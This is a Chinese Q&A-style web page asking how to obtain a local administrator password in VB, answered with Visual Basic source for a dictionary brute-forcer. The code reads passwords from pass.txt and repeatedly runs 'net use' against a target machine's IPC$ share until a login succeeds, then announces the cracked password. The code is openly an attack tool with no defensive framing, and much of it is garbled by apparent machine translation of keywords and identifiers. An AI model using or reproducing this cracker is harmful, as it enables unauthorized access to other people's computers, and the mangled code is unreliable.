當前位置:成語大全網 - 書法字典 - vb如何獲取本地管理員的密碼

vb如何獲取本地管理員的密碼

私有聲明函數ShellExecute Lib“shell32 . dll”別名“ShellExecuteA”(ByVal hwnd為Long,ByVal lpOperation為String,ByVal lpFile為String,ByVal lpParameters為String,ByVal lpDirectory為String,ByVal nShowCmd為Long)為Long

私有聲明子睡眠庫“kernel 32”(ByVal dw milliseconds壹樣長)

私有聲明函數GetTempPath Lib "kernel32 "別名" GetTempPathA "(ByVal nBufferLength為Long,ByVal lpBuffer為String)為Long

私有聲明函數GetTempFileName Lib "kernel32 "別名" GetTempFileName a "(ByVal lpszPath為字符串,ByVal lpPrefixString為字符串,ByVal wUnique為Long,ByVal lpTempFileName為字符串)為Long

Dim TempFilePath作為字符串

Dim Scan_Stop為布爾值

Private Sub Cmd_Crack_Click()

將I標註為整數

出錯時繼續下壹步

如果Txt_IP。Text = " "或Txt_User。Text = " "那麽

MsgBox "IP/賬號不能為空!"

出口接頭

如果…就會結束

掃描停止=假

Dim TempFilePath作為字符串

對於i = 0到Lst_Pass。列表計數- 1

多項活動

如果Scan_Stop,則退出

TempFilePath = GetTempName("IPC ",0)

shell " cmd . exe/c net use \ \ " & amp;Txt_IP。文本& amp" \ ipc $ " & amp" " " " " & amp_

第壹關。名單(壹)及" " " " " & amp"/user:" & amp;_

" " " " " & ampTxt_User。文本& amp" " " " " & amp" >& amp_

TempFilePath,vbHide

第壹關。ListIndex = i

睡眠300

隱藏的。清楚的

Dim inputdata作為字符串

昏暗自由

free =文件系統。自由文件

將輸入的TempFilePath作為#free打開

Do While Not EOF(免費)

線路輸入#自由,輸入數據

隱藏的。AddItem輸入數據

關閉#免費

如果Lst_Hidden。List(0) = "命令成功完成。"然後

MsgBox“哈哈!密碼是“&;第壹關。列表(I),“提示”

Shell "net use \\" + Txt_IP。Text + " /del ",vbHide

轉到abc

如果…就會結束

Shell "net use \\" + Txt_IP。Text + " /del ",vbHide

接下來我

abc:

隱藏的。清楚的

殺死TempFilePath

打開TempFilePath以#free輸出

關閉#免費

末端接頭

私有Sub Cmd_Stop_Click()

掃描停止=真

末端接頭

私有Sub Cmd_Cls_Click()

Txt_IP。文本= " "

Txt_User。文本= " "

末端接頭

私有子窗體_Load()

出錯時繼續下壹步

如果Dir("pass.txt") = " "那麽

打開“pass.txt”作為#3輸出

關閉#3

MsgBox "警告!Pass.txt文件丟失或被重命名。軟件會自動生成Pass.txt文件,把妳的密碼字典寫入Pass.txt文件!”,vbCritical,“錯誤!”

其他

Dim inputdata作為字符串

打開“pass.txt”作為#2輸入

Do While Not EOF(2)

線路輸入#2,輸入數據

第壹關。AddItem輸入數據

關閉#2

如果…就會結束

末端接頭

私有函數GetTempName(lpPrefixString為String,wUnique為Long)為String

Dim TempFileName作為字符串* 256

Dim Ret As Long

Dim DriveName作為字符串

DriveName = GetTempPathStr

Ret = GetTempFileName(DriveName,lpPrefixString,wUnique,TempFileName)

GetTempName = Left$(臨時文件名,InStr(臨時文件名,Chr(0)) - 1)

結束功能

字符串形式的私有函數GetTempPathStr()

dim String As String * 255

GetTempPath Len(str),str

GetTempPathStr = Trim(Replace(str,Chr(0),""))

結束功能